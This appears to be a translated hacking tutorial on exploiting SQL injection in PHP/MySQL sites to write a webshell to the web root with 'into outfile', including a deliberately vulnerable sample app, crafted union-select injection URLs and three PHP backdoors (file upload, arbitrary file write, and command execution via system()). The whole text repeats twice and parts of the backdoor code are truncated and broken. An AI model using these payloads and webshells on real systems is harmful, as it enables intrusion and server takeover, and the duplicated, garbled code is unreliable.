The biggest limitation is here - inserting data, so we can only start with the existing functions of the program. In fact, many programs can submit comments, messages, posts, etc., depending on how the program inserts variables into the database. In fact, the road is right around us and we rely on ourselves to open it up.
Needless to say, let’s first look at a simple example of local testing and create a table with the following structure:
CREATE TABLE `article` (
`articleid` INT NOT NULL AUTO_INCREMENT ,
`title` VARCHAR( 200 ) NOT NULL ,
`content` TEXT NOT NULL ,
`visible` INT DEFAULT '1' NOT NULL ,
PRIMARY KEY ( `articleid` )
);
The files for browsing the article are as follows:
<?php
$servername = "localhost";
$dbusername = "root";
$dbpassword = "";
$dbname = "injection";
mysql_connect($servername,$dbusername,$dbpassword) or die ("Database connection failed");
$sql = "SELECT * FROM article WHERE articleid=$id and visible=1";
$result = mysql_db_query($dbname,$sql);
$row = mysql_fetch_array($result);
if (!$row) {
echo "This record does not exist";
echo "<p>SQL Query:$sql<p>";
exit;
}
function html_clean($content){
$content = htmlspecialchars($content);
$content = str_replace("\n", "<br>", $content);
$content = str_replace(" ", " ", $content);
$content = str_replace("\t", ' ', $content);
return $content;
}
echo "<title>".$row['title']."</title>";
echo "<b>Title:</b>".htmlspecialchars($row['title'])."<hr>\n";
echo "<b>Content:</b><p>".html_clean($row['content'])."</p><hr>\n";
echo "SQL Query:$sql";
?>
The documents submitted by tourists are as follows:
<?
$servername = "localhost";
$dbusername = "root";
$dbpassword = "";
$dbname = "injection";
mysql_connect($servername,$dbusername,$dbpassword) or die ("Database connection failed");
if ($_POST['action']=="add") {
if ($title=="" or $content=="") {
echo "You have not completed the form yet.";
exit;
} else {
$sql="INSERT INTO article (title,content,visible) VALUES('$title','$content','0')";
// If the visible field is 1, this text is displayed.
// Since it was submitted by a tourist, 0 must be inserted, and the administrator updated it to 1 after review.
mysql_db_query($dbname, $sql);
mysql_close();
echo "You have submitted and are waiting for the administrator to review.";
exit;
}
}
?>
<form action="" method="POST">
Article title: <br><input name="title" type="text" size="50" maxlength="100"><p>
Article content: <br><textarea name="content" cols="50" rows="15"></textarea><p>
<input type="hidden" name="action" value="add"><input type="submit" value="submit">
</form>
Many programs directly insert user data into the database, and use functions to process it when it needs to be called, just like the above. This gives us an opportunity to write our WebShell into the database intact. Few programs insert variables into the database after processing them, and VBB is placed directly.
We visit and submit our code to the article content. The article is hidden at this time. How do we know the id of that article? It's actually very simple:
http://127.0.0.1/injection/?id=2
# This is to browse normal articles. If the article does not display, it will also prompt that it does not exist when it exists.
http://127.0.0.1/injection/?id=2/*
# This way, the judgment of the visible field can be commented out, and the hidden article can be displayed.
Pay attention to the SQL Query in the picture above. As long as we comment out the subsequent judgment, we can change the id to find our article. We just submitted the complete code. This code is a small upload backdoor I wrote. You can upload any type of file to the directory where the script is located, but the size cannot exceed the settings in it.
Now that the code has been written, we have started to construct our into outfile statement. As long as the construction is correct, our export file will be obediently lying in the predetermined directory. As for how to find the absolute web path and how to find a directory with writable permissions, it is not within the scope of this article. I believe that these are not difficult for everyone. submit:
http://127.0.0.1/injection/?id=2 into outfile 'f:/www/'/*
Return to the following prompt:
Have you seen it? The SQL statement is correct. Although there is an error message, as long as the directory exists and is writable, the file must have been exported:
The backdoor we uploaded was also executed normally because the php code was not corrupted. To take a step back, even if the form's quotes are broken, we can still construct the form locally.
Example
I believe that everyone has already understood and thought about exporting WebShell through injection. The above is the simplest and smoothest example. The conditions seem to be harsh, but they are actually everywhere, they seem to be simple, but there is a lot of room for actual play. If they are flexibly used, the harm will be great. Let’s take a look at a more practical example below, which can be regarded as a complete penetration test.
Since I can't access the Internet now, I built a site that is exactly the same as http:// locally to penetrate. All databases and files are the same as online. Articles and forums share the same database, which I backed up the day before yesterday. I've now removed the code for $id filtering in the file. Form a site with loopholes (a bit aggrieved, 55555).
Note: The current environment is magic_quotes_gpc = Off. Some programs have processed input variables, such as VBB, so it doesn’t matter if gpc is turned on or off.
There is no place to submit articles, messages, or comments on the entire site. We cannot submit our code from the site. Fortunately, there is a forum. Haha, many places can submit our data, posts, signatures, etc., so let's write the WebShell code in the signature.
Then we can query the signed content across tables through the injection point of the article page, and then export it. With WebShell, even if there is a safe_mode block, there is basically no problem for us to penetrate the server. You will know if you look at the fifth picture above. The article is querying for 5 fields. We will use union joint query now. The union joint query has been explained very clearly in my "SQL Injection with MySQL". I will not explain it here. In the query after union, we also specify 5 fields "1,1,1,1,1,1" to query the angel user in the user table, userid is 1. If the construction is correct, the user exists. The page will return normally:
http://127.0.0.1/?id=25' union select 1,1,1,1,1 from user where userid=1/*
Let's see if we can really query the forum's signature content. We just saw the error SQL statement and knew that the field querying the content of the article is the fifth, and the field name of the signature is "signature". We replace the 5th 1 with "signature", and then specify a non-existent value to the previous $id, so that the signed content can be displayed in the original place where the article content was originally displayed. structure:
http://127.0.0.1/?id=55' union select 1,1,1,1,signature from user where userid=1/*
Well, the query is successful, start exporting. My local web directory is f:/www. I know this. Haha. As for how to get the absolute web path when you actually use it, don't ask me.
Immediately after the statement we constructed just now, add into outfile to submit:
http://127.0.0.1/?id=55' union select 1,1,1,1,signature from user where userid=1 into outfile 'f:/www/'/*
Well, there is an error message, no matter how much we have constructed the statement anyway, and my F drive is fully controlled by Everyone. Of course ours came out:
Things that seem complex are actually very easy to master. The most important thing is flexibility. The program code is different. With the characteristics of php, there are many ways to use it. However, one thing to note is that if you want to export data, single quotes must not be corrupted. It may come from the program code, and it may come from magic_quotes_gpc. As long as the single quotes are corrupted, the success rate is almost zero.
Please don’t use the Security Angel’s site to practice. Since I wrote this article, there will be no such problem on my site.
postscript
I hope this article can have the effect of throwing bricks and attracting jade. We will rely on everyone to explore other deeper technologies. If there are any mistakes or some things that are not understood by this article, you can go to the forum of Safety Angel to communicate with me. Below are some php backdoors that I wrote and often used. Since I had just learned php at that time, the following code may have many problems. If you want to use the php backdoors to be more powerful, you can use php backdoors to make them more powerful. It is recommended to download the phpspy I developed.
PHP upload model backdoor
<?php
// Codz by angel ACTION="" METHOD="POST">
<input NAME="MyFile" TYPE="file">
<input VALUE="Submit" TYPE="submit"></form>
PHP file generation backdoor
<?php
// Codz by angel){
$fp=@fopen("".$_POST['filename']."","wb");
$content = $_POST['filedate'];
$fw=@fwrite($fp,$content);
if ($fw) {
echo "<b>Congratulations, the file was written successfully!</b><a href="http:///Article/html/3/7/2008/.$PHP_SELF.">Return</a>";
exit;
} else {
echo "<b>Writing the file failed. Is it a problem with permissions?</b><a href="http:///Article/html/3/7/2008/.$PHP_SELF.">Return</a>";
exit;
}
@fclose($fp);
}
?>
<form action="" method="post">
Saved file name (such as:<font color="#FF0000"></font>):<br>
<input type="text" name="filename" size="60">
<p>
The file is saved in:<br><?=str_replace('\\','/',dirname(__FILE__))?>
<p>
File content:
<br><textarea name="filedate" cols="60" rows="10"></textarea><br>
<input type="hidden" name="action" value="create"><input type="submit" value="Save">
</form>
<b>Note: When the same file exists, its contents will be completely rewritten! </b>
Execute command-type backdoor
<?php
// Codz by angel method="post">
Command:<br>
<input type="text" name="command" size="60" <?php if ($command) { echo "value=\"$command\"";} ?>> <input name="submit_btn" type="submit" value="Execution"></p>
Execution results:<br>
<textarea cols="80" rows="20" readonly><?phpif ($command) { system($command);}?></textarea><p>
Note: There may be restrictions on some commands on the windows host</form>
Needless to say, let’s first look at a simple example of local testing and create a table with the following structure:
CREATE TABLE `article` (
`articleid` INT NOT NULL AUTO_INCREMENT ,
`title` VARCHAR( 200 ) NOT NULL ,
`content` TEXT NOT NULL ,
`visible` INT DEFAULT '1' NOT NULL ,
PRIMARY KEY ( `articleid` )
);
The files for browsing the article are as follows:
<?php
$servername = "localhost";
$dbusername = "root";
$dbpassword = "";
$dbname = "injection";
mysql_connect($servername,$dbusername,$dbpassword) or die ("Database connection failed");
$sql = "SELECT * FROM article WHERE articleid=$id and visible=1";
$result = mysql_db_query($dbname,$sql);
$row = mysql_fetch_array($result);
if (!$row) {
echo "This record does not exist";
echo "<p>SQL Query:$sql<p>";
exit;
}
function html_clean($content){
$content = htmlspecialchars($content);
$content = str_replace("\n", "<br>", $content);
$content = str_replace(" ", " ", $content);
$content = str_replace("\t", ' ', $content);
return $content;
}
echo "<title>".$row['title']."</title>";
echo "<b>Title:</b>".htmlspecialchars($row['title'])."<hr>\n";
echo "<b>Content:</b><p>".html_clean($row['content'])."</p><hr>\n";
echo "SQL Query:$sql";
?>
The documents submitted by tourists are as follows:
<?
$servername = "localhost";
$dbusername = "root";
$dbpassword = "";
$dbname = "injection";
mysql_connect($servername,$dbusername,$dbpassword) or die ("Database connection failed");
if ($_POST['action']=="add") {
if ($title=="" or $content=="") {
echo "You have not completed the form yet.";
exit;
} else {
$sql="INSERT INTO article (title,content,visible) VALUES('$title','$content','0')";
// If the visible field is 1, this text is displayed.
// Since it was submitted by a tourist, 0 must be inserted, and the administrator updated it to 1 after review.
mysql_db_query($dbname, $sql);
mysql_close();
echo "You have submitted and are waiting for the administrator to review.";
exit;
}
}
?>
<form action="" method="POST">
Article title: <br><input name="title" type="text" size="50" maxlength="100"><p>
Article content: <br><textarea name="content" cols="50" rows="15"></textarea><p>
<input type="hidden" name="action" value="add"><input type="submit" value="submit">
</form>
Many programs directly insert user data into the database, and use functions to process it when it needs to be called, just like the above. This gives us an opportunity to write our WebShell into the database intact. Few programs insert variables into the database after processing them, and VBB is placed directly.
We visit and submit our code to the article content. The article is hidden at this time. How do we know the id of that article? It's actually very simple:
http://127.0.0.1/injection/?id=2
# This is to browse normal articles. If the article does not display, it will also prompt that it does not exist when it exists.
http://127.0.0.1/injection/?id=2/*
# This way, the judgment of the visible field can be commented out, and the hidden article can be displayed.
Pay attention to the SQL Query in the picture above. As long as we comment out the subsequent judgment, we can change the id to find our article. We just submitted the complete code. This code is a small upload backdoor I wrote. You can upload any type of file to the directory where the script is located, but the size cannot exceed the settings in it.
Now that the code has been written, we have started to construct our into outfile statement. As long as the construction is correct, our export file will be obediently lying in the predetermined directory. As for how to find the absolute web path and how to find a directory with writable permissions, it is not within the scope of this article. I believe that these are not difficult for everyone. submit:
http://127.0.0.1/injection/?id=2 into outfile 'f:/www/'/*
Return to the following prompt:
Have you seen it? The SQL statement is correct. Although there is an error message, as long as the directory exists and is writable, the file must have been exported:
The backdoor we uploaded was also executed normally because the php code was not corrupted. To take a step back, even if the form's quotes are broken, we can still construct the form locally.
Example
I believe that everyone has already understood and thought about exporting WebShell through injection. The above is the simplest and smoothest example. The conditions seem to be harsh, but they are actually everywhere, they seem to be simple, but there is a lot of room for actual play. If they are flexibly used, the harm will be great. Let’s take a look at a more practical example below, which can be regarded as a complete penetration test.
Since I can't access the Internet now, I built a site that is exactly the same as http:// locally to penetrate. All databases and files are the same as online. Articles and forums share the same database, which I backed up the day before yesterday. I've now removed the code for $id filtering in the file. Form a site with loopholes (a bit aggrieved, 55555).
Note: The current environment is magic_quotes_gpc = Off. Some programs have processed input variables, such as VBB, so it doesn’t matter if gpc is turned on or off.
There is no place to submit articles, messages, or comments on the entire site. We cannot submit our code from the site. Fortunately, there is a forum. Haha, many places can submit our data, posts, signatures, etc., so let's write the WebShell code in the signature.
Then we can query the signed content across tables through the injection point of the article page, and then export it. With WebShell, even if there is a safe_mode block, there is basically no problem for us to penetrate the server. You will know if you look at the fifth picture above. The article is querying for 5 fields. We will use union joint query now. The union joint query has been explained very clearly in my "SQL Injection with MySQL". I will not explain it here. In the query after union, we also specify 5 fields "1,1,1,1,1,1" to query the angel user in the user table, userid is 1. If the construction is correct, the user exists. The page will return normally:
http://127.0.0.1/?id=25' union select 1,1,1,1,1 from user where userid=1/*
Let's see if we can really query the forum's signature content. We just saw the error SQL statement and knew that the field querying the content of the article is the fifth, and the field name of the signature is "signature". We replace the 5th 1 with "signature", and then specify a non-existent value to the previous $id, so that the signed content can be displayed in the original place where the article content was originally displayed. structure:
http://127.0.0.1/?id=55' union select 1,1,1,1,signature from user where userid=1/*
Well, the query is successful, start exporting. My local web directory is f:/www. I know this. Haha. As for how to get the absolute web path when you actually use it, don't ask me.
Immediately after the statement we constructed just now, add into outfile to submit:
http://127.0.0.1/?id=55' union select 1,1,1,1,signature from user where userid=1 into outfile 'f:/www/'/*
Well, there is an error message, no matter how much we have constructed the statement anyway, and my F drive is fully controlled by Everyone. Of course ours came out:
Things that seem complex are actually very easy to master. The most important thing is flexibility. The program code is different. With the characteristics of php, there are many ways to use it. However, one thing to note is that if you want to export data, single quotes must not be corrupted. It may come from the program code, and it may come from magic_quotes_gpc. As long as the single quotes are corrupted, the success rate is almost zero.
Please don’t use the Security Angel’s site to practice. Since I wrote this article, there will be no such problem on my site.
postscript
I hope this article can have the effect of throwing bricks and attracting jade. We will rely on everyone to explore other deeper technologies. If there are any mistakes or some things that are not understood by this article, you can go to the forum of Safety Angel to communicate with me. Below are some php backdoors that I wrote and often used. Since I had just learned php at that time, the following code may have many problems. If you want to use the php backdoors to be more powerful, you can use php backdoors to make them more powerful. It is recommended to download the phpspy I developed.
PHP upload model backdoor
<?php
// Codz by angel ACTION="" METHOD="POST">
<input NAME="MyFile" TYPE="file">
<input VALUE="Submit" TYPE="submit"></form>
PHP file generation backdoor
<?php
// Codz by angel){
$fp=@fopen("".$_POST['filename']."","wb");
$content = $_POST['filedate'];
$fw=@fwrite($fp,$content);
if ($fw) {
echo "<b>Congratulations, the file was written successfully!</b><a href="http:///Article/html/3/7/2008/.$PHP_SELF.">Return</a>";
exit;
} else {
echo "<b>Writing the file failed. Is it a problem with permissions?</b><a href="http:///Article/html/3/7/2008/.$PHP_SELF.">Return</a>";
exit;
}
@fclose($fp);
}
?>
<form action="" method="post">
Saved file name (such as:<font color="#FF0000"></font>):<br>
<input type="text" name="filename" size="60">
<p>
The file is saved in:<br><?=str_replace('\\','/',dirname(__FILE__))?>
<p>
File content:
<br><textarea name="filedate" cols="60" rows="10"></textarea><br>
<input type="hidden" name="action" value="create"><input type="submit" value="Save">
</form>
<b>Note: When the same file exists, its contents will be completely rewritten! </b>
Execute command-type backdoor
<?php
// Codz by angel method="post">
Command:<br>
<input type="text" name="command" size="60" <?php if ($command) { echo "value=\"$command\"";} ?>> <input name="submit_btn" type="submit" value="Execution"></p>
Execution results:<br>
<textarea cols="80" rows="20" readonly><?phpif ($command) { system($command);}?></textarea><p>
Note: There may be restrictions on some commands on the windows host</form>